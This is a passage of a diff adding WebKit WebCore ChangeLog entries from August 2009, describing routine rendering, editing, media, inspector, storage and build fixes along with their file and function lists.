+        queryCommandState('underline') returns false if the selected text is also bold and italic
+        https://bugs.webkit.org/show_bug.cgi?id=11022
+
+        This patch modifies stateStrikethrough and stateUnderline to use the value -webkit-text-decorations-in-effect
+        instead of text-decoration.  Because text-decoration only retrieves explicit styling at the node on which
+        the query was sent, we need to use -webkit-text-decorations-in-effect to include decorations added by ancestors
+        and also u, s, and strike tags.
+
+        Test: editing/style/text-decoration-state.html
+
+        * editing/EditorCommand.cpp:
+        (WebCore::stateStrikethrough): Use -webkit-test-decorations-in-effect instead of text-decoration.
+        (WebCore::stateUnderline): Ditto.
+
+2009-08-19  Anders Carlsson  <andersca@apple.com>
+
+        Reviewed by Darin Adler.
+
+        - Fix <rdar://problem/7155710>
+        HTML selects on windows cause containing window to become inactive when opened.
+
+        * platform/win/PopupMenuWin.cpp:
+        (WebCore::PopupMenu::show):
+        Pass SWP_NOACTIVATE to SetWindowPos, remove AW_ACTIVATE from AnimateWindow and pass
+        SW_SHOWNOACTIVATE to ShowWindow.
+        
+        (WebCore::PopupWndProc):
+        Prevent mouse activation from activating the window.
+
+2009-08-19  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Images flash as you hover them on http://www.atebits.com/scribbles/
+        <rdar://problem/7143958>
+        
+        Tag images with the device colorspace with the colorspace of the main display, rather than
+        GenericRGB, so that composited images color-match those rendered via Core Graphics.
+        
+        Covered by LayoutTests/compositing/color-matching/image-color-matching.html
+
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::GraphicsLayerCA::setContentsToImage):
+
+2009-08-19  Anders Carlsson  <andersca@apple.com>
+
+        Reviewed by David Hyatt and Dan Bernstein.
+
+        - Fix <rdar://problem/7152589> Stylable scrollbar corners aren't working.
+
+        * page/FrameView.cpp:
+        (WebCore::FrameView::FrameView):
+        Initialize m_scrollCorner.
+
+        (WebCore::FrameView::~FrameView):
+        Assert that m_scrollCorner is null.
+
+        (WebCore::FrameView::detachCustomScrollbars):
+        Destroy m_scrollCorner.
+
+        (WebCore::FrameView::invalidateScrollCorner):
+        Invalidate the scroll corner.
+        
+        (WebCore::FrameView::updateScrollCorner):
+        Create/destroy the scroll corner.
+        
+        (WebCore::FrameView::paintScrollCorner):
+        Paint the scroll corner.
+        
+        * page/FrameView.h:
+        (WebCore::FrameView::isFrameViewScrollCorner):
+        Return whether a RenderScrollbarPart is the frame view scroll corner.
+        
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::updateScrollbars):
+        Go ahead and update the scroll corner.
+        
+        (WebCore::ScrollView::setScrollbarsSuppressed):
+        Pass the scroll corner rect to invalidateRect.
+        
+        (WebCore::ScrollView::scrollCornerRect):
+        Return the scroll corner rect.
+        
+        * platform/ScrollView.h:
+        * rendering/RenderScrollbarPart.cpp:
+        (WebCore::RenderScrollbarPart::imageChanged):
+        If this scrollbar part is the frame view scroll corner, invalidate it.
+
+2009-08-19  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Oliver Hunt.
+
+        SVG feComponentTransfer needs to be implemented
+        [https://bugs.webkit.org/show_bug.cgi?id=27768]
+
+        Implementation of SVG Filter feComponentTransfer.
+
+        There is already a test case
+        Test: svg/W3C-SVG-1.1/filters-comptran-01-b.svg
+
+        * platform/graphics/filters/FEComponentTransfer.cpp:
+        (WebCore::identity):
+        (WebCore::table):
+        (WebCore::discrete):
+        (WebCore::linear):
+        (WebCore::gamma):
+        (WebCore::FEComponentTransfer::apply):
+
+2009-08-19  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Dave Hyatt.
+
+        <rdar://problem/7141522> Incorrect layout of product table at henry.com
+
+        Test: fast/block/basic/quirk-percent-height-table-cell.html
+
+        * rendering/RenderBox.cpp:
+        (WebCore::RenderBox::calcPercentageHeight): Tweak the quirk that allows
+        percentage-height children of auto-height blocks to look for an ancestor
+        with non-auto height and compute their height based on it. The change is
+        that if that ancestor is a table cell, it is ignored and the percent
+        height computes to zero (just like in strict mode). This matches Firefox
+        and IE.
+
+2009-08-19  Jungshik Shin  <jshin@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Add 'icu::' qualifier when refering to ICU C+names to the other
+        file with this issue missed in the previous check-in.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28410
+
+        No change in the test result.
+
+        * platform/graphics/chromium/FontUtilsChromiumWin.cpp:
+        (WebCore::):
+
+2009-08-19  Peter Kasting  <pkasting@google.com>
+
+        Unreviewed (build fix for Skia).
+
+        https://bugs.webkit.org/show_bug.cgi?id=28268
+
+        * platform/graphics/skia/GraphicsContextSkia.cpp:
+        (WebCore::GraphicsContext::drawLine):
+
+2009-08-19  Jan Michael Alonzo  <jmalonzo@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        [CAIRO] Remove setFont indirection
+        https://bugs.webkit.org/show_bug.cgi?id=28453
+
+        Remove the indirection and just set the font in Font::drawGlyphs.
+
+        * platform/graphics/SimpleFontData.h:
+        * platform/graphics/cairo/FontCairo.cpp:
+        (WebCore::Font::drawGlyphs):
+        * platform/graphics/gtk/FontPlatformData.h:
+        (WebCore::FontPlatformData::scaledFont):
+        * platform/graphics/gtk/FontPlatformDataGtk.cpp:
+        (WebCore::FontPlatformData::~FontPlatformData):
+        * platform/graphics/gtk/FontPlatformDataPango.cpp:
+        * platform/graphics/gtk/SimpleFontDataGtk.cpp:
+        * platform/graphics/gtk/SimpleFontDataPango.cpp:
+        * platform/graphics/win/FontPlatformData.h:
+        * platform/graphics/win/FontPlatformDataCairoWin.cpp:
+        * platform/graphics/win/SimpleFontDataCairoWin.cpp:
+
+2009-08-19  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: When adding style selector, generate default name based
+        on id / class / type.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28468
+
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylesSidebarPane.prototype.appropriateSelectorForNode):
+
+2009-08-19  David Hyatt  <hyatt@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Rename combinedOverflow to visibleOverflow, since that's what it actually represents.
+
+        * rendering/InlineFlowBox.cpp:
+        (WebCore::InlineFlowBox::nodeAtPoint):
+        (WebCore::InlineFlowBox::paint):
+        * rendering/InlineFlowBox.h:
+        (WebCore::InlineFlowBox::topvisibleOverflow):
+        (WebCore::InlineFlowBox::bottomvisibleOverflow):
+        (WebCore::InlineFlowBox::leftvisibleOverflow):
+        (WebCore::InlineFlowBox::rightvisibleOverflow):
+        (WebCore::InlineFlowBox::visibleOverflowRect):
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::layoutBlock):
+        (WebCore::RenderBlock::paint):
+        (WebCore::RenderBlock::floatRect):
+        (WebCore::RenderBlock::nodeAtPoint):
+        * rendering/RenderBlock.h:
+        * rendering/RenderBlockLineLayout.cpp:
+        (WebCore::RenderBlock::layoutInlineChildren):
+        (WebCore::RenderBlock::matchedEndLine):
+        * rendering/RenderBox.cpp:
+        (WebCore::RenderBox::clippedOverflowRectForRepaint):
+        * rendering/RenderBox.h:
+        (WebCore::RenderBox::visibleOverflowRect):
+        (WebCore::RenderBox::topvisibleOverflow):
+        (WebCore::RenderBox::bottomvisibleOverflow):
+        (WebCore::RenderBox::leftvisibleOverflow):
+        (WebCore::RenderBox::rightvisibleOverflow):
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::localBoundingBox):
+        * rendering/RenderLineBoxList.cpp:
+        (WebCore::RenderLineBoxList::paint):
+        (WebCore::RenderLineBoxList::hitTest):
+        * rendering/RenderOverflow.h:
+        (WebCore::RenderOverflow::visibleOverflowRect):
+        * rendering/RenderReplaced.cpp:
+        (WebCore::RenderReplaced::shouldPaint):
+        (WebCore::RenderReplaced::clippedOverflowRectForRepaint):
+        * rendering/RenderTable.cpp:
+        (WebCore::RenderTable::layout):
+        (WebCore::RenderTable::paint):
+        * rendering/RenderTableCell.cpp:
+        (WebCore::RenderTableCell::clippedOverflowRectForRepaint):
+
+2009-08-19  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Eric Seidel.
+
+        Sound button appears in controller with movies that have no audio
+        https://bugs.webkit.org/show_bug.cgi?id=28464
+
+        Test: media/video-no-audio.html
+
+        * html/HTMLMediaElement.cpp:
+        * html/HTMLMediaElement.h:
+        (WebCore::HTMLMediaElement::hasAudio):
+            Added hasAudio.
+
+        * platform/graphics/MediaPlayer.h:
+        * platform/graphics/MediaPlayer.cpp:
+        (WebCore::NullMediaPlayerPrivate::hasAudio):
+        (WebCore::MediaPlayer::hasVideo):
+            Make const.
+        (WebCore::MediaPlayer::hasAudio):
+            Added hasAudio.
+
+        * platform/graphics/MediaPlayerPrivate.h:
+            Add hasAudio.
+
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.h:
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::MediaPlayerPrivate::hasAudio):
+            Ditto.
+
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.h:
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivate::hasAudio):
+            Ditto.
+
+        * platform/graphics/qt/MediaPlayerPrivatePhonon.h:
+        * platform/graphics/qt/MediaPlayerPrivatePhonon.cpp:
+        (WebCore::MediaPlayerPrivate::hasAudio):
+            Ditto.
+
+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.h:
+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.cpp:
+        (WebCore::MediaPlayerPrivate::hasAudio):
+            Ditto.
+
+        * platform/graphics/win/QTMovieWin.h:
+        * platform/graphics/win/QTMovieWin.cpp:
+        (QTMovieWin::hasAudio):
+            Ditto.
+
+        * rendering/MediaControlElements.cpp:
+        (WebCore::MediaControlMuteButtonElement::disabled):
+            New, return true if media element doesn't have audio.
+        (WebCore::MediaControlMuteButtonElement::rendererIsNeeded):
+            Renderer is not needed if element has no audio.
+        * rendering/MediaControlElements.h:
+        (WebCore::MediaControlInputElement::disabled):
+
+        * rendering/RenderThemeMac.mm:
+        (WebCore::getMediaUIPartStateFlags):
+            Return MediaUIPartDisabledFlag if node is disabled.
+            
+
+2009-08-19  Michelangelo De Simone  <micdesim@gmail.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27357
+        Removed the two unnecessary overridden willValidate() methods introduced
+        in r47444.
+
+        * html/HTMLKeygenElement.h:
+        * html/HTMLObjectElement.h:
+
+2009-08-19  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Allow dumping dangling nodes to the console.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28458
+
+        * bindings/js/JSInspectorBackendCustom.cpp:
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8InspectorBackendCustom.cpp:
+        * inspector/InspectorBackend.cpp:
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::clearConsoleMessages):
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::releaseDanglingNodes):
+        (WebCore::InspectorDOMAgent::startListening):
+        (WebCore::InspectorDOMAgent::stopListening):
+        (WebCore::InspectorDOMAgent::handleEvent):
+        (WebCore::InspectorDOMAgent::bind):
+        (WebCore::InspectorDOMAgent::unbind):
+        (WebCore::InspectorDOMAgent::pushDocumentToFrontend):
+        (WebCore::InspectorDOMAgent::pushChildNodesToFrontend):
+        (WebCore::InspectorDOMAgent::discardBindings):
+        (WebCore::InspectorDOMAgent::pushNodePathToFrontend):
+        (WebCore::InspectorDOMAgent::buildObjectForNode):
+        (WebCore::InspectorDOMAgent::buildArrayForContainerChildren):
+        * inspector/InspectorDOMAgent.h:
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::setDetachedRoot):
+        (WebCore::InspectorFrontend::childNodeCountUpdated):
+        * inspector/InspectorFrontend.h:
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype._formatnode):
+        * inspector/front-end/DOMAgent.js:
+        (WebInspector.DOMAgent.prototype._setDetachedRoot):
+        (WebInspector.DOMAgent.prototype._childNodeCountUpdated):
+        (WebInspector.setDetachedRoot):
+        (WebInspector.childNodeCountUpdated):
+        (InspectorController.pushNodeToFrontend):
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript.pushNodeToFrontend):
+        (InjectedScript.createProxyObject):
+
+2009-08-19  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Anders Carlsson.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27464
+        Implement application cache online whitelist wildcard flag
+
+        Test: http/tests/appcache/whitelist-wildcard.html
+
+        A "*" in NETWORK section means that network loading needn't be blocked.
+
+        * loader/appcache/ApplicationCache.cpp:
+        (WebCore::ApplicationCache::isURLInOnlineWhitelist):
+        * loader/appcache/ApplicationCache.h:
+        (WebCore::ApplicationCache::setAllowsAllNetworkRequests):
+        (WebCore::ApplicationCache::allowsAllNetworkRequests):
+        * loader/appcache/ApplicationCacheGroup.cpp:
+        (WebCore::ApplicationCacheGroup::didFinishLoadingManifest):
+        * loader/appcache/ApplicationCacheStorage.cpp:
+        (WebCore::ApplicationCacheStorage::openDatabase):
+        (WebCore::ApplicationCacheStorage::store):
+        (WebCore::ApplicationCacheStorage::loadCache):
+        * loader/appcache/ManifestParser.cpp:
+        (WebCore::parseManifest):
+        * loader/appcache/ManifestParser.h:
+
+2009-08-19  Brady Eidson <beidson@apple.com>
+
+        Reviewed by Kevin Decker.
+
+        <rdar://problem/7042555> Loading certain pages on Tiger will start a spurious download
+        
+        Get rid of method swizzling entirely. This created problems when lower level
+        Foundation code would call into our own swizzled method.
+        
+        * platform/network/mac/ResourceHandleMac.mm: 
+        (-[WebCoreResourceHandleAsDelegate connection:didReceiveResponse:]): 
+        * platform/network/mac/WebCoreURLResponse.h:
+        * platform/network/mac/WebCoreURLResponse.mm:
+        (-[NSURLResponse adjustMIMETypeIfNecessary]):
+
+2009-08-19  Adam Roben  <aroben@apple.com>
+
+        Fix linker warnings on Windows
+
+        Reviewed by Anders Carlsson.
+
+        Fixes <http://webkit.org/b/28462> WebCore causes linker warnings on
+        Windows about multiply-defined JSHTMLDataListElement symbols
+
+        * WebCore.vcproj/WebCore.vcproj: Exclude JSHTMLDataListElement.cpp
+        from the build (just like we do for the other generated bindings
+        files) so that we don't get warnings about multiply-defined symbols in
+        JSHTMLDataListElement.cpp and DerivedSources.cpp. Also removed
+        duplicate versions of JSSVGElementWrapperFactory.cpp, and let VS
+        reorder a few files.
+
+2009-08-19  Jungshik Shin  <jshin@chromium.org>
+
+        Reviewed by Eric Seidel
+
+        Add 'icu::' qualifier when refering to ICU C+names.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28410
+
+        No change in the test result.
+
+        * platform/graphics/chromium/FontCacheChromiumWin.cpp:
+        (WebCore::fontContainsCharacter):
+
+2009-08-19  David Hyatt  <hyatt@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Cleanup from my patch thet rewrote overflow.  Remove unused member variables from RenderTableSection and
+        move the addition of overflow from children into a separate pass after the height of the section has been
+        set.  This prevents the RenderOverflow struct from being aggressively allocated for all table sections.
+        (Not a a correctness issue, just a memory issue.)
+
+        * rendering/RenderTableSection.cpp:
+        (WebCore::RenderTableSection::RenderTableSection):
+        (WebCore::RenderTableSection::layoutRows):
+        * rendering/RenderTableSection.h:
+
+2009-08-19  Jan Michael Alonzo  <jmalonzo@webkit.org>
+
+        Reviewed by Xan Lopez.
+
+        [Gtk] Remove bogus dependency rules for built sources that derive
+        from HTMLTagNames.in, HTMLAttributeNames.in and xmlattrs.in. The
+        header files should be generated regardless of whether the source
+        file changed or not. We should only rely on the *.in files being
+        changed.
+
+        * GNUmakefile.am:
+
+2009-08-18  Maciej Stachowiak  <mjs@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        convert FormatBlock candidate tag list from if chain to hash lookup
+        https://bugs.webkit.org/show_bug.cgi?id=28448
+
+        No behavior change, just cleanup.
+
+        * editing/htmlediting.cpp:
+        (WebCore::validBlockTag):
+        * editing/htmlediting.h:
+
+2009-08-19  Mike Fenton  <mike.fenton@torchmobile.com>
+
+        Reviewed by Eric Seidel.
+
+        Update GraphicsContextSkia's version of drawLine to make use of the shared
+        adjustLineToPixelBoundaries function and elimination overlapping code.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28268
+
+        * platform/graphics/skia/GraphicsContextSkia.cpp:
+        (WebCore::GraphicsContext::drawLine):
+
+2009-08-18  Mike Fenton  <mike.fenton@torchmobile.com>
+
+        Reviewed by Eric Seidel.
+
+        Style fixes based on cpp_style.py and WebKit Style guide for
+        GraphicsContextSkia.cpp
+
+        https://bugs.webkit.org/show_bug.cgi?id=28268
+
+        * platform/graphics/skia/GraphicsContextSkia.cpp:
+        (WebCore::GraphicsContext::addInnerRoundedRectClip):
+        (WebCore::GraphicsContext::drawFocusRing):
+        (WebCore::GraphicsContext::roundToDevicePixels):
+        (WebCore::GraphicsContext::setLineDash):
+        (WebCore::GraphicsContext::setPlatformShadow):
+
+2009-08-18  Alexey Proskuryakov  <ap@webkit.org>
+
+        Reviewed by Maciej Stachowiak.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28446
+        Custom request headers shouldn't be sent with cross-origin preflight request
+
+        Tests: http/tests/xmlhttprequest/access-control-preflight-headers-async.html
+               http/tests/xmlhttprequest/access-control-preflight-headers-sync.html
+
+        * loader/DocumentThreadableLoader.cpp:
+        (WebCore::DocumentThreadableLoader::makeCrossOriginAccessRequestWithPreflight):
+        Don't copy headers to OPTIONS request. The spec is vague about this, but the intention was
+        that they shouldn't be sent, and Firefox doesn't send them.
+
+2009-08-18  John Gregg  <johnnyg@google.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        V8 Bindings for Desktop Notifications feature.
+        https://bugs.webkit.org/show_bug.cgi?id=28271
+
+        * WebCore.gypi: 
+        added notification files to build (all still behind a flag that's not on)
+        * bindings/scripts/CodeGeneratorV8.pm:
+        added special case in DOMWindow/AppCache style for named event handlers
+        * bindings/v8/DOMObjectsInclude.h:
+        * bindings/v8/DerivedSourcesAllInOne.cpp:
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getTemplate):
+        (WebCore::V8DOMWrapper::convertEventTargetToV8Object):
+        * bindings/v8/V8Index.cpp:
+        * bindings/v8/V8Index.h:
+        * bindings/v8/V8Proxy.h:
+        * bindings/v8/WorkerContextExecutionProxy.cpp:
+        (WebCore::WorkerContextExecutionProxy::convertToV8Object):
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8NotificationCenterCustom.cpp: Added.
+        * notifications/Notification.h:
+        made event handler routines public (as they are in DOMWindow, eg) for
+        binding access.
+        * notifications/NotificationCenter.idl:
+        needed to make methods V8Custom to support different behaviors in 
+        worker/page context in chromium. 
+        * workers/WorkerThread.h:
+        (WebCore::WorkerThread::getNotificationPresenter):
+        (WebCore::WorkerThread::setNotificationPresenter):
+        needed to make these methods public as well so chromium can inject
+        the notification presenter into the worker thread.
+
+2009-08-13  Maciej Stachowiak  <mjs@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        - Implement HTML5 nav element
+        https://bugs.webkit.org/show_bug.cgi?id=27937
+
+        <nav> should behave essentially the same as <div> for parsing
+        etc. This is implemented by the changes below.
+        
+        Tests: fast/html/nav-element.html
+
+        * css/html.css:
+        * editing/htmlediting.cpp:
+        (WebCore::validBlockTag):
+        * html/HTMLElement.cpp:
+        (WebCore::HTMLElement::tagPriority):
+        (WebCore::blockTagList):
+        * html/HTMLParser.cpp:
+        (WebCore::HTMLParser::getNode):
+        * html/HTMLTagNames.in:
+
+2009-08-18  Anders Carlsson  <andersca@apple.com>
+
+        Reviewed by Adele Peterson, David Hyatt and Dan Bernstein.
+
+        - Fix <rdar://problem/7152727>
+
+        If a page has custom scroll bars, they will not update correctly when the window is activated/deactivated.
+        
+        * page/FrameView.cpp:
+        (WebCore::FrameView::hasCustomScrollbars):
+        Check if the frame view or any of its subviews have custom scroll bars.
+        
+        (WebCore::FrameView::updateControlTints):
+        Go ahead and update control tints if the frame view has custom scroll bars.
+        
+        * page/FrameView.h:
+
+2009-08-18  Mark Rowe  <mrowe@apple.com>
+
+        Roll out r47477 as it introduced assertion failures and crashes on the build bots.
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * storage/Database.cpp:
+        * storage/Database.h:
+        * storage/DatabaseThread.cpp:
+        (WebCore::DatabaseThread::DatabaseThread):
+        * storage/DatabaseThread.h:
+        * storage/SQLTransaction.cpp:
+        (WebCore::SQLTransaction::runCurrentStatement):
+        (WebCore::SQLTransaction::deliverQuotaIncreaseCallback):
+        (WebCore::SQLTransaction::postflightAndCommit):
+        * storage/SQLTransactionClient.cpp: Removed.
+        * storage/SQLTransactionClient.h: Removed.
+
+2009-08-18  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        [Haiku] Adding the SharedTimer file for WebCore.
+        https://bugs.webkit.org/show_bug.cgi?id=28126
+
+        * platform/haiku/SharedTimerHaiku.cpp: Added.
+        (WebCore::):
+        (WebCore::SharedTimerHaiku::SharedTimerHaiku):
+        (WebCore::SharedTimerHaiku::~SharedTimerHaiku):
+        (WebCore::SharedTimerHaiku::instance):
+        (WebCore::SharedTimerHaiku::start):
+        (WebCore::SharedTimerHaiku::stop):
+        (WebCore::SharedTimerHaiku::Filter):
+        (WebCore::setSharedTimerFiredFunction):
+        (WebCore::setSharedTimerFireTime):
+        (WebCore::stopSharedTimer):
+
+2009-08-18  Mark Rowe  <mrowe@apple.com>
+
+        Release build fix.
+
+        * xml/XMLHttpRequest.cpp: Sprinkle some #ifndef NDEBUG around.
+        (WebCore::XMLHttpRequest::XMLHttpRequest):
+        (WebCore::XMLHttpRequest::~XMLHttpRequest):
+
+2009-08-18  Aaron Boodman  <aa@chromium.org>
+
+        Reviewed by Maciej Stachowiak.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28412: Leak of WebCore::XMLHttpRequest object during layout tests.
+
+        No new tests: Already covered by existing tests.
+
+        * xml/XMLHttpRequest.cpp:
+        (WebCore::XMLHttpRequest::XMLHttpRequest): Add instrumentation for this kind of leak.
+        (WebCore::XMLHttpRequest::~XMLHttpRequest): Ditto.
+        (WebCore::XMLHttpRequest::createRequest): Only setPendingActivity() if we actually started a request. Also,
+        restore a call to nonCacheRequestInFlight() that got lost in a recent refactor.
+
+2009-08-18  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Added a client to SQLTransaction. In addition to being a place to
+        get notifications about certain events in a transaction, it is
+        also an abstraction layer that allows us to plug in different
+        implementations for each port for how transactions interract with
+        the main DB. For example, WebCore's default implementation will
+        make direct calls to DatabaseTracker's methods. At the same time,
+        Chromium's implementation will send IPCs to the browser process
+        whenever a transaction needs something from the main DB.
+
+        All storage tests pass.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27967
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * storage/Database.cpp:
+        (WebCore::Database::transactionClient):
+        * storage/Database.h:
+        * storage/DatabaseThread.cpp:
+        (WebCore::DatabaseThread::DatabaseThread):
+        * storage/DatabaseThread.h:
+        (WebCore::DatabaseThread::transactionClient):
+        * storage/SQLTransaction.cpp:
+        (WebCore::SQLTransaction::runCurrentStatement):
+        (WebCore::SQLTransaction::deliverQuotaIncreaseCallback):
+        (WebCore::SQLTransaction::postflightAndCommit):
+        * storage/SQLTransactionClient.cpp: Added.
+        * storage/SQLTransactionClient.h: Added.
+
+2009-08-18  Julie Parent  <jparent@chromium.org>
+
+        Not reviewed, build fix for Chromium.
+
+        Final change for v8 corresponding to http://trac.webkit.org/changeset/47469.
+
+        * bindings/v8/custom/V8HTMLFrameElementCustom.cpp: Added missing using statment
+
+2009-08-18  Julie Parent  <jparent@chromium.org>
+
+        Not reviewed, build fix for Chromium.
+
+       More corresponding changes to V8 from http://trac.webkit.org/changeset/47469.
+
+        * bindings/v8/custom/V8HTMLIFrameElementCustom.cpp:
+        (WebCore::ACCESSOR_SETTER): Use srcAttr instead of the src function.
+
+2009-08-18  Julie Parent  <jparent@chromium.org>
+
+        Not reviewed, build fix for Chromium.
+
+        Make corresponding changes to V8 from http://trac.webkit.org/changeset/47469.
+
+        * bindings/v8/custom/V8HTMLFrameElementCustom.cpp:
+        (WebCore::ACCESSOR_SETTER): Use srcAttr instead of the src function.
+
+2009-08-18  Dan Bernstein  <mitz@apple.com>
+
+        Build fix.
+
+        * editing/ApplyStyleCommand.cpp:
+        (WebCore::getIdentifierValue):
+
+2009-08-18  Darin Adler  <darin@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        More work on making DOM classes start with reference count of 1
+        https://bugs.webkit.org/show_bug.cgi?id=28068
+
+        Some related clean-up and preparation steps so the subsequent
+        patches will be as small as possible.
+
+        * WebCore.base.exp: Sorted this file.
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::accessibilityDescription):
+        Use nameAttr instead of the name function.
+
+        * bindings/js/JSHTMLFrameElementCustom.cpp:
+        (WebCore::JSHTMLFrameElement::setSrc):
+        Use srcAttr instead of the src function.
+
+        * bindings/js/JSHTMLIFrameElementCustom.cpp:
+        (WebCore::JSHTMLIFrameElement::setSrc):
+        Use srcAttr instead of the src function.
+
+        * bindings/objc/DOM.mm: Sorted includes.
+        * dom/Document.cpp: Ditto.
+
+        * dom/StyledElement.cpp: Made invalidateStyleAttribute inline.
+        * dom/StyledElement.h: Ditto.
+
+        * dom/make_names.pl: Changed default of createWithNew to 0.
+        Eventually all elements will be created with create instead of new.
+
+        * html/HTMLTagNames.in:
+        * svg/svgtags.in:
+        * wml/WMLTagNames.in:
+        Added createWithNew for every tag. We'll remove it as we convert
+        element classes to use create.
+
+        * html/HTMLAppletElement.h: Removed unneeded forward declarations.
+        * html/HTMLFrameElement.h: Ditto.
+
+        * html/HTMLEmbedElement.cpp: Removed many attribute get and
+        set functions.
+        * html/HTMLEmbedElement.h: Ditto.
+        * html/HTMLIFrameElement.cpp: Ditto.
+        * html/HTMLIFrameElement.h: Ditto.
+        * html/HTMLObjectElement.cpp: Ditto.
+        * html/HTMLObjectElement.h: Ditto.
+        * html/HTMLPlugInElement.cpp: Ditto.
+        * html/HTMLPlugInElement.h: Ditto.
+
+        * html/HTMLFrameElementBase.cpp: Removed many attribute get and
+        set functions.
+        (WebCore::HTMLFrameElementBase::location): Changed to use
+        srcAttr instead of src.
+        * html/HTMLFrameElementBase.h: Removed many attribute get and set
+        functions.
+
+        * loader/MediaDocument.cpp:
+        (WebCore::MediaDocument::replaceMediaElementTimerFired):
+        Use srcAttr and typeAttr instead of setSrc and setType.
+        * loader/PluginDocument.cpp:
+        (WebCore::PluginTokenizer::createDocumentStructure): Ditto.
+
+        * rendering/RenderPartObject.cpp:
+        (WebCore::RenderPartObject::updateWidget): Use nameAttr instead
+        of name -- this avoids an extra AtomicString round trip and a little
+        ref count churn too.
+
+2009-08-18  Drew Wilson  <atwilson@google.com>
+
+        Reviewed by David Levin.
+
+        SharedWorkers need to support loading.
+        https://bugs.webkit.org/show_bug.cgi?id=28342
+
+        Added loader support to shared workers, and refactored worker tests to also test SharedWorkers
+
+        * workers/DefaultSharedWorkerRepository.cpp:
+        (WebCore::SharedWorkerProxy::postTaskToLoader):
+        Forwards load requests to an arbitrary document from the list of worker's documents.
+        (WebCore::SharedWorkerProxy::postTaskForModeToWorkerContext):
+        Posts responses back to the shared worker thread.
+
+2009-08-18  Ryosuke Niwa  <rniwa@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        StyleChange::init needs clean up before fixing the bug 23892
+        https://bugs.webkit.org/show_bug.cgi?id=27749
+
+        This patch simplifies StyleChange::init by removing the iteration on CSS properties,
+        and adding functions reconcileTextDecorationProperties and extractTextStyle to handle the style.
+
+        Because there is a bug in how text decorations are processes in getPropertiesNotInComputedStyle,
+        this patch simplifies the treatment in order to preserve the original behavior of WebKit.
+        However, the current implementation is not best (adds redundant text-decorations) and we should fix it later.
+
+        No test is added since there is no change in behavior.
+
+        * editing/ApplyStyleCommand.cpp:
+        (WebCore::StyleChange::init): Uses getPropertiesNotInComputedStyle instead of iterating through the properties
+        (WebCore::StyleChange::reconcileTextDecorationProperties): Removes -webkit-text-decorations-in-effects and redundant "none"
+        (WebCore::getIdentifierValue): Obtains the identifier of a CSSPrimitiveValue
+        (WebCore::StyleChange::extractTextStyles): Converts properties in style to m_apply* and removes the property
+        (WebCore::getPropertiesNotInComputedStyle): Fixed a bug with how text decorations are treated
+
+2009-08-18  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Fixing a DB file naming bug in Chromium. The origin should come
+        before the DB name in the file name.
+
+        https://bugs.webkit.org/show_bug.cgi?id=28331
+
+        * storage/DatabaseTracker.cpp:
+        (WebCore::DatabaseTracker::fullPathForDatabase):
+
+2009-08-18  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        [Haiku] Adding four image-specific files to WebCore:
